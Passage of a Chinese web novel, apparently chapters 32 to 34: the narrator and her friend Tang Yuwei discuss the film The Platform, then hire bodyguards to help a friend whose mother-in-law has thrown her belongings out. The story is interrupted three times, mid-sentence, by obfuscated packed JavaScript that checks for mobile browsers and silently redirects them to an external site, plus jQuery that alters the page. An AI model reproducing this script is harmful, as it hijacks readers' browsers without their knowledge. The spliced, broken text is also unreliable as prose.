我写不出或者画不出好东西的时候,都是在疯狂地薅头发或者烦躁的在屋子里转来转去,要么就颓废一点,躺在床上发呆。 每个人的承受能力不一样,一块小石子砸不死大象,但可以有效砸死一只蚂蚁。 但我转念一想,难道要说蚂蚁不够坚强吗?蚂蚁可以举起超过自身体重十几倍的重量呢,只能说在某些力量面前,个体的存在还是有点太渺小了。 想着想着,膀胱发出一阵抗议,我赶紧推开洗手间的门,一屁股坐在了马桶上。 马桶圈冰凉冰凉的,像一块寒冰,我感觉自己正坐在冰封王座上,下一秒就要高歌一曲权力的游戏。 应该买一个暖和点的马桶垫了,那种带毛的马桶垫有点不卫生,可以买那种一次性的贴上去,这样半夜起夜上厕所的时候,可以给可怜的屁股一个缓冲。 洗手间门口忽然传来一阵脚步声,门再一次打开,隔着磨砂玻璃窗,我能看到一个模糊的奶黄色影子坐在了隔壁的那个马桶上。 唐雨薇家里的洗手间有两个马桶,被磨砂玻璃隔成了两个小单间,每个隔间的马桶后面都有白色的壁龛,里面放着湿厕纸、卷纸、卫生巾、空气清新剂、两盆水培白掌、还有我从名创优品买回来的便宜香水。 虽然有两个马桶,但我和唐雨薇基本都错开上卫生间,毕竟拉屎这事也挺隐私的,有人在身边的话,我根本不敢拉的太放肆。 但糟糕的是,正当我准备提着裤子从马桶上站起来的时候,肚子里突然一阵翻涌,紧接着砰的一声,网络地催山崩,听起来好像是谁在厕所里点了个炮仗。 都说贫穷、咳嗽、爱不能掩饰,我觉得还要再加上一条窜稀。 我回忆了一下最近的饮食,冬天太冷不爱出门,运动量上不去,又喜欢吃一点高热量的食物,我和唐雨薇的体重都开始上涨,于是晚餐的时候我做了火龙果奶昔和牛油果奶昔。 唐雨薇喜欢牛油果,我喜欢红心火龙果,难道这才是导致我腹泻的罪魁祸首? 这地动山摇的,这是让人怪尴尬的。 隔壁的唐雨薇清清嗓子,“薇薇,你没事儿吧?” “身体上没什么事,就是心灵上受到了一些伤害。” “什么伤害。” “有点丢脸。” 隔壁传来唐雨薇的一声爆笑,我瞟了一眼磨砂玻璃那头的奶黄色影子,清了清嗓子,“这下我肯定瘦了。” 唐雨薇又开始笑,我问她:“现在几点了?” “五点。” 我在马桶上蹲了半个小时,冰冷的马桶圈都被我的体温给捂热了,我虚脱地扶着墙走出卫生间,唐雨薇正坐在客厅看《饥饿站台》。 她穿着奶黄色的珊瑚绒睡衣,一头栗棕色的长卷发挽在脑后,一双眼睛微微红肿,我坐在她旁边,说道:“其实也没必要给自己那么大压力的,搞砸就搞砸嘛。” “薇薇,你知道人在什么时候最快乐吗?” 我摇头,唐雨薇摸了摸我的头发,“是在上升的过程中,从0到1,从1到10,从10到100,一点一点看着自己进步,是明确知道自己在上升的,但是如果卡在一个地方,发现自己不仅上不去,还有往下滑的趋势,痛苦就降临了。” 我点头,表示理解这种痛苦,说这种痛苦迟早会过去,彩虹总是在雨后出现的,一口气说了一大段鸡汤。 其实我不能太理解,我觉得到了唐雨薇这个份上,只要不是挥霍无度,这辈子都不会缺钱的。 如果我有唐雨薇1/10的身家,我就可以无忧无虑地躺平了,我会过得很松弛,压根不会因为一些乱七八糟的事情掉眼泪。 说着说着,唐雨薇从冰箱里拿出一罐牛油果冰淇淋,不管三七二十一,挖了一大勺就送进了嘴里。 我大惊失色:“你大姨妈都延迟了,你怎么还吃凉的?” “反正我觉得这个月不会来了,破罐子破摔算了,而且饥饿站台这部片子太压抑了,我需要吃点甜的缓解一下。” 《饥饿站台》真的是一部非常压抑的片子,昏沉阴暗的色调看得我头晕。 这部片子的立意非常有意思,主角进了一个垂直管理的监狱里,这个监狱有200多层,吃饭的方式很特别,从第1层开始,每一层都吃上一层剩下来的饭菜。 那个摆满食物的大长饭桌像电梯一样,会在各个监狱楼层停留一段时间,监狱里的人不允许私藏食物,要在固定时间内吃饱肚子,饭桌停留的时间到了之后,那个摆满食物的大饭桌就会轰隆隆地驶向下一层。 上层的人可以无限量地享用美食,下层的人只能吃上层吃剩的残羹冷炙,等到平台降落到最底层时,饭桌上已经没有任何食物了,最底层的人只能面临被饿死的命运。 这部电影最有意思的一点就是层级并不是固定的,每个月一轮换,所有犯人都会被随机分配到不同的层数,这个月的上层特权阶级,下个月就跌入底层地狱,这也是这部电影的核心和关键看点。 在上层时,男主角可以优雅地进食,并试图劝下面的人文明分配,但没有什么人理会,反而遭到了狱友的嘲笑,甚至还有人在食物上面吐痰。 在中间层时,男主角迫于饥饿,只能吃那些恶心的剩饭。 电影里那种阴暗的色调看得我头晕,又是一次轮换后,男主角轮换到了200多层,他的那个坚持公正分配的女狱友自杀了,男主角开始吃她身上生出来的蛆。 我干呕了一声,赶紧从冰箱里拿出一罐子薄荷生巧味的冰淇淋,吃了一大口压下去。 监狱的垂直结构就是现实社会阶级的极端缩影,顶层占有并浪费绝大部分资源,底层在生存线上挣扎,为了一点残渣而互相残杀。 阶层不是固定的,但变动往往充满随机性和残酷性。 男主角和他那个充满着理想主义的女狱友总是在说:“如果我们每人只吃自己的份量,食物可以到达最底层。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266805|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们还对人性抱着一丝希望,希望监狱里的人能够自我约束自己,但在这么一个缺乏强制力和信任的系统中完全无效,仅靠道德呼吁,根本无法解决资源分配不公的问题。 随机换层的设定让每个人既是受害者,也可能成为加害者。 最后他们决定反抗,向上层传达信息。 一份完好无损的意大利奶冻经历过重重的波折,作为一个求生信号被平台传递到上层。 在传递这份意大利奶冻的过程中,甚至有饥饿的人为了争抢这份奶冻而丢掉了性命。 当这个奶冻被原封不动地传递到管理层时,我激动的把拳头都握紧了,我觉得自己终于在这个残酷的电影里看到了一丝曙光,。 从我的视角看待这份精致的意大利奶冻,在200多层的监狱里,在一桌空调的盘子中,在人与人因为饥饿互相残杀互相食用的垂直监狱里,连尸体上的蛆都被人吃掉了,这份原封不动又异常美味的意大利奶冻肯定会引起管理层的注意,从而引起管理层对监狱的调查和对监狱分配制度的改进。 影片的结尾,管理层看到了那份奶冻,奶冻上沾了一根头发。 管理层以为是因为奶冻上有一根头发被嫌弃,这才是食物原封不动的原因,从而对一帮厨子们大发雷霆。 看到这里,我情不自禁地发出了一声卧槽。 底层人民的苦难和诉求,根本无法被顶层正确理解和接收。 看完这部片子,我真的是哪儿哪儿都不舒服,电影都结束好半天了,我还捧着冰淇淋罐子呆坐在那儿。 “这就是结局了?” “没错,这就是结局了。” 我心里生出一种巨大的荒诞感,恍恍惚惚地做早饭去了。 做完早饭看了一眼手机,发现今天正好是周日,我和唐雨薇有个不成文的规定,就是不要宅家太久,一定要挑一天出去走走。 我说道:“要不要去西湖坐手摇船?” 西湖的美景是看不腻的,哪个季节都很美,唐雨薇说道:“最近运势不好,情绪低迷,从玄学角度出发,应该去人气比较旺的地方走一走,特别是高端商场,让高端商场的高频能量流入我这个低频能量里。” 我点头。 唐雨薇又说道:“那咱们逛完商场再去银行。” “你要去银行取钱啊?” 唐雨薇摇头:“不取钱,咱俩去银行门口挖点土带回来,补财进宝。” 我沉吟了几秒钟,撸起了袖子:“那你等会儿,我去拿个大容量的保鲜袋。” 唐雨薇拉住我,“不用挖那么多,一小捧就行,挖太多容易漏财。” 我说道:“那我把保温杯也带去吧,水即是财,去银行里接水带回家喝。” 我俩摩拳擦掌,热情澎湃。 正准备出门一展拳脚,唐雨薇的手机忽然响了,是花束北打来的微信视频。 她说她老公出轨了。 她在手机那头哭的很惨,她和老公吵架,她婆婆把她的东西全扔在楼道里了,实在没有办法了,想请唐雨薇帮帮忙。 33.第 33 章 在这个时代的浪潮下,我们很难说一个女人结婚生子到底是对是错。 任何选择都面临着风险,就像开启一扇未知之门,门没有被打开之前,谁也不知道门后是鲜花锦簇,还是放着一个已经打开的潘多拉魔盒。 以前做阅读理解的时候读过一篇文章,一个人捡到了一颗大珍珠,但珍珠上面有一个小黑点,这个人想让珍珠变得更加完美,就把珍珠打磨了一层又一层,但那个黑点一直存在着,直到最后珍珠变成一堆粉尘。 我很会答题,知道这篇文章的主旨是让人正视自己身上的瑕疵,接受事物的不完美。 但如果那个人下定决心后稍稍打磨了一下,那个黑点就被打磨掉了呢? 这篇文的主旨就又变成了一个样子,告诉我们要忍受疼痛去除身上的瑕疵,这样才能将自己打磨成一颗完美无瑕的大珍珠。 我很早就知道一个定理,成功的人做什么都是对的,失败的人做什么都是错的。 就像那帮淘金的人,有人一贫如洗,有人满载而归。 唐雨薇身边总是充斥着各种鸡飞狗跳,写文之前如此,写文之后也是如此。 相比之下,我以前的生活就很安静了,我是一个平凡的人,生活也相对平淡,身边没有太多惊喜,也没有太多的不惊喜。 我觉得这应该是唐雨薇的交友范围太广泛了,资助女大学生(而且还不止小萍一个),天天在论坛认识码字的写手,不像我写文这么多年,真正面基的也就一个肥猪满圈。 肥猪满圈说道:“这种事儿掺和啥呀,但话又说回来,咱们女人最容易心软,见到曾经的朋友落难,不伸手帮一下心里也过不去。” 而且花束北这事不止我们作者圈知道,她的读者也知道一些内情,有段时间花束北天天在小号上发一些家长里短,言语十分消沉。 后来小号被扒出来,那个号就被注销了,可是读者们群情激愤,恨其不幸又怒其不争,纷纷去花束北的评论区发牢骚。 自从花束北收了微信转账却再也不回唐雨薇微信消息时,唐雨薇就觉得这个人很有问题,都决定要和这个人绝交了。 “你嘴上这么说,可是你微信上也没把她拉黑啊,恶婆婆把她赶出家门,她还能向你求助,简直可怕的很!” 唐雨薇叹气,“甄嬛传里的大胖橘都会念旧情呢,更何况我了,我琢磨着她手机里估计是没钱了,去不了酒店什么的,也没法找搬家公司搬东西,毕竟银行卡还被她婆婆扣着呢,只能求助身在杭州的我。” 钱是英雄胆,没钱处处难。 我挠挠头发:“那咱俩也不能就这么去吧,这种家庭纠纷一不小心就会上演全武行,咱俩这细胳膊细腿的能打得过谁?” “你知道电视剧《双面胶》的原型么,富家女倒贴凤凰男,恶婆婆泼汽油烧死了富家女,丈夫给亲妈出具谅解书,所以总结下来就是恶婆婆不仅杀了富家女,她儿子还霸占了富家女的房子以及财产,又娶了一个年轻漂亮的老婆。” 我无处安放的想象力在此刻来了一个大爆发,“万一花束北的恶婆婆往人身上浇汽油怎么办?万一她老公出来打我们怎么办?万一一个推搡之间,我们像电视剧里的女主那样滚下楼梯摔破脑袋失忆了怎么办?” “你说得对,”唐雨薇揽住我的肩膀,“我们得谨慎点。” 唐雨薇点头,先让花束北报警,说她婆婆侵占她个人财产,要求她婆婆归还她银行卡和家里值钱的珠宝首饰。 但花束北不愿意,说还不想闹得太僵。 我沉默了...... 唐雨薇凌乱了...... 我们俩脑袋凑在一起看着花束北发来的消息,最后一条是:你没有结婚,你不懂。 唐雨薇被气笑了。 她决定去看看这个二碧。 我也跟着去了,不为什么,就纯粹是对二碧的好奇。 唐雨薇说不能因为看热闹而危及人身安全,她从来不打无准备之仗,于是联系了安保公司,雇佣了两个临时保镖。 我说这怎么跟拍电视剧似的,这也太戏剧了,唐雨薇说她是有钱没处花,更何况像她这么有钱的富婆就应该好好保护自己 两个临时保镖是退伍的军人,开了一辆黑色的比亚迪来接我们,不知道的人还以为他俩开网约车。 出门在外万事小心,唐雨薇把他俩的证件和车牌号发送给唐阿姨,我把他俩的证件和车牌号发给我妈,我们俩上车了。 和电视剧里面演的那些西装革履头戴墨镜的保镖不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289366|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,两个保镖大哥穿的很家常,气质甚至还挺和善。 我问两个保镖大哥干这种事是不是有点大材小用了。 坐在副驾驶的保镖大哥说道:“啥大材小用啊,大部分都是这种事儿,七八成都是家庭纠纷,离婚夫妻抢孩子你见过没,小孩一放学,奶奶拽左胳膊,亲妈拽右胳膊,就搁那来回扯啊,扯的那小孩吱哇乱叫的。” 听了花束北的事,开车的保镖说道:“那肯定是因为孩子才不想闹太僵,但有些人吧,咱也不知道咋回事,就跟那中了邪似的,一条道走到黑,一点都不知道拐弯儿的,别人看着都替她急,这种人也不知道蠢还是怎么的,看的人来气。” “可能是因为孩子吧,人一有了孩子就容易瞻前顾后的,特别是女人,”副驾驶保镖又加了一句,“人人都有自己的难处。” 四十分钟后,车子开到了花束北的家。 小区还算可以,门卫也好说话,痛快地让我们进了小区,物业的一个人八成是为了看热闹,居然也兴冲冲地给我们带路,一路坐电梯来到了32楼。 电梯打开。 楼道里一片狼藉,灯光黯淡昏黄,各种各样的衣服和书籍被扔了满地,好像一个狭窄逼仄的垃圾场,擦脸的瓶瓶罐罐也被扔的满地都是,有一瓶白色乳液被摔得稀碎,玻璃渣子都溅到电梯口了。 再走两步,是一个被摔碎的九宫格眼影盘,盖子已经离体,大地色系的眼影洒了一地,一旁是摔裂的透明塑料刷子桶,黑色的化妆刷七零八落的躺了一地。 再走两步,是一瓶被摔碎的化妆水,一片水洼中淌着玻璃瓶的碎片,我低头看了一眼瓶子上的英文,是雅诗兰黛的微精华。 再走两步,是一本躺在衣服堆里的书。 天蓝色的封面,银色的书名,是每一个对写作有点追求和梦想的编剧写手们都会看的入门书籍——《故事》。 一个穿着穿着蓝色珊瑚绒睡衣的年轻女性蹲在一地狼藉的楼道里,弯着腰捡东西。 她挪到摔碎的眼影旁边,捡起蓝色毛衣,抖落上面沾掉的眼影粉末。 乱七八糟的颜色被抖落下来,落在那本《故事》上,颜色纯澈的天蓝色封面很快就被弄脏了。 说不上是一种背叛,还是一种抛弃。 34.第 34 章 楼道很阴冷,连廊的门开着,湿冷的风不断往楼道里吹来。 夜里的风声听得更清晰,也许是楼道结构的原因,风往上吹的时候会发出一种类似于呜咽的声音,听起来空旷又瘆人。 我的齐刘海又长了,有点扎眼睛,我使劲眨了眨眼,伸手撩了撩刘海。 又是一阵风从消防连廊那里吹来,漫上一阵彻骨的冷意,楼道的声控灯恰恰在此时熄灭了,呜咽的风,一片黑暗的走廊,唯一的氛围让我的大脑都空白了两秒。 站在我身旁的唐雨薇迅速窜过来,一把抱紧了我,属于她身上的那种幽幽冷冷的香气又像雾似的轻轻笼罩过来。 我知道她写那本灵异文写的有点神经过敏,赶紧伸出手臂抱住了她的腰,另一只手重重地拍了拍墙壁。 楼道里的声控感应灯又亮了起来,洒下一片昏黄的光。 狭窄逼仄的楼道又被照亮了,两个帮忙收拾东西的保镖大哥尴尬地蹲在地上回头看我,我顺着他们的方向一看,只见地板上还扔着一些女性的文胸和内裤。 一股怒火立刻从我的心中升腾起来。 唐雨薇的脸色也变得不怎么好看了,疾步走上前去把那些内衣收拢起来放在消防栓上。 “什么玩意儿,”坐在副驾驶上的那个保镖低声说道,“一点体面都不给人留。” 又是一阵风吹来,我冻得直哆嗦,一连打了好几个喷嚏。 唐雨薇从地上捡起一件蓝色的毛绒开衫抖了抖,披在了我身上。 我转头看她,她伸手捏了捏我的脸,轻声说道:“你脸上沾了眼影,像个小花猫。” 她的手凉凉的,从包里掏出一张湿巾给我擦了擦脸,我小声对她说道:“眼影盘几乎都碎掉了。” 不知道花束北的那个恶婆婆在扔掉这些化妆品的时候是不是格外用力,那些昂贵的眼影都被摔得非常凄惨。 我好像脑补出了满脸横肉的恶婆婆,深深地痛恨着儿媳妇的一切,尤其痛恨这些可以装点儿媳妇的、让憔悴的女人可以变得稍稍体面些的东西。 碎掉的眼睛不止那一盘九宫格,好几盘TF眼睛也遭了殃,用过的人都知道, Tf眼影很贵,粉质非常软糯,根本禁不起摔摔打打,这些眼影盘的盖子都被摔飞了,更何况里面的眼影了。 我看得心疼,用手把碎掉的眼睛按在盘子里压实了,再用两层面巾纸严实裹住,又把头上的皮筋撸了下来,把眼影盘摔飞的盖子给绑紧了。 后续可以找人修复这些眼影盘,需要花点钱,但不能保证修好后会和原来一样。 两个保镖也在旁边帮忙,我抹了抹脸,可能是气氛太压抑了,我叹息着说道:“不愧是TF,果然很上色。” 唐雨薇很短暂地笑了一下,她的神色有些恍惚,大概是记忆中的花束北和眼前这个狼狈的女子重合不上。 回忆是很残酷的,现实也是很残酷的。 或许有一些很美好的回忆,可当美好的回忆和残酷的现实加以对比,只能把现实衬托的更加残酷。 又唐雨薇又开始整理那些被扔在楼道间的书籍,我也顺便帮忙,我捡起了一本很昂贵的游戏设定插画图集,一张粉色的卡片从书里掉了出来,上面写着一行漂亮的字。 ——祝小花写出更多更好的故事吖~ 长时间和唐雨薇在一起拉片记笔记,我一眼就认出了这是唐雨薇的字。 粉色的卡片上面印着一个白色的纸飞机,在一片朦朦胧胧的光晕中飞向远处。 时间过去太久,书籍的封面和这张卡片都有点氧化褪色了,纸飞机微微发黄,光阴也在回忆中变旧 我把卡片塞在了书里。 书籍归类,衣服归类,被扔掉的各种瓶瓶罐罐也进行归类。 我们在外卖软件上下单了搬家神器,那是四个特别大特别厚实的棕色收纳袋,双头拉链,很容易翻找衣物,我们往里面装衣服装被子。 物业人很好,还给我们找来两个纸箱子,一些易碎的东西全都装在了纸箱子里。 坐在副驾驶的那个保镖大哥还在微信里帮我们找了个中介,中介说有一个公寓正在出租,一个月1600,可以短租。 那个恶婆婆扔了这么多东西出来,偏偏没有扔出她的证件和银行卡。 好在花束北的手机里有身份证的扫描件,她签了电子版合同,唐雨薇帮她垫付了两个月的房租,我帮忙订了一个货拉拉,两个保镖大哥帮着搬东西。 货拉拉座位有限,只能让一个人坐在车上,花束北跟车,我和唐雨薇又坐在了比亚迪里,让两个保镖大哥把我们送到那个公寓。 那是一个loft公寓,40平左右的面积,环境还不错,窗明几净的,就是位置有点偏。 雇佣时间结束,两个保镖大哥开着车走了,临走前还嘱咐我们女生晚上回家小心,不要单独出去。 从始至终花束北都没说过几句话,异常的沉默。 她是一个有点胖的人,但那种胖不是正常的胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289367|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看上去很肿,再加上她很白,脸上又没有什么血色,所以很像一个被冰冷的河水泡发的肿胀女尸。 我知道我这么形容有点恐怖,但我不是唐雨薇那种妙笔生花的五星大作者,想不出更确切的比喻了。 她的面色也是倦怠冷漠的,犹如一个没有感情的傀儡。 在这狼狈的几小时里,唐雨薇说怎么安排就怎么安排,她就点头,或者轻轻地嗯一声,在她面前,行动力不足的唐雨薇都显得雷厉风行了。 一般人遇到这种情况少说也得掉几滴眼泪,然后跟朋友大倒苦水,但花束北一滴眼泪都没有流。 我在来之前想象过—— 一个哭哭啼啼的女人诉说着婚后的不幸,诉说着自己的痛苦和悔恨,诉说着丈夫和婆婆的丑恶嘴脸,诉说着生活里一件又一件把她压垮的大事小事,为这些年失去的时光感到懊悔。 但她实在是太平静了。 平静的让人心里发慌。 毫不夸张的说,当她从我面前走过去的时候,我好像看到了一个不知从哪飘过来的幽灵。 她的目光没有焦点,不会落在某一个人或者某一件物品上,而是落在虚空的某一处。 那些箱子和袋子全都堆在地上,她穿过这些凌乱的东西,径直走上了楼上的床,躺上去之后就一动不动了。 我还是第一次遇到这样的人,看得我一愣一愣的。 我甚至怀疑我是一团空气,导致她无法看见我,当然她也不太看得见唐雨薇,只有唐雨薇主动和她说话的时候,她才会略微有点反应。 我觉得这情况有点不太妙,悄悄的给唐雨薇发微信。 唐雨薇也说她状态不对,我们俩决定在这个临时租的公寓里陪花束北住一晚,密切关注花束北的状况。 这个公寓的沙发可以拉出来变成一张床,我们俩睡在床上,找出两件珊瑚绒睡袍叠起来当枕头,共同盖了一条紫色的珊瑚绒毯子,蜷缩在一起睡着了。 离开自己的小床,我总是睡得不太踏实,半夜醒来时掌心一动,一片温热细腻的绵软。 我手一抖,完全清醒了。 自从我妈把我的白色大熊邮过来之后,我睡觉都抱着熊一通乱摸乱揉,再也不把手伸进唐雨薇的睡衣里了。 但是今夜我的熊不在我的身边。 我正要把我的手拿出来,可是手掌轻轻一动,睡在我身旁的唐雨薇忽然轻轻地嗯了一声。 黑夜里,她睁开眼睛,和我四目相对。